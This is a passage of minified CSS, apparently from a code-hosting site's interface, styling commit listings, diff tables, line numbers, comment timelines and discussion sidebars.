100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] 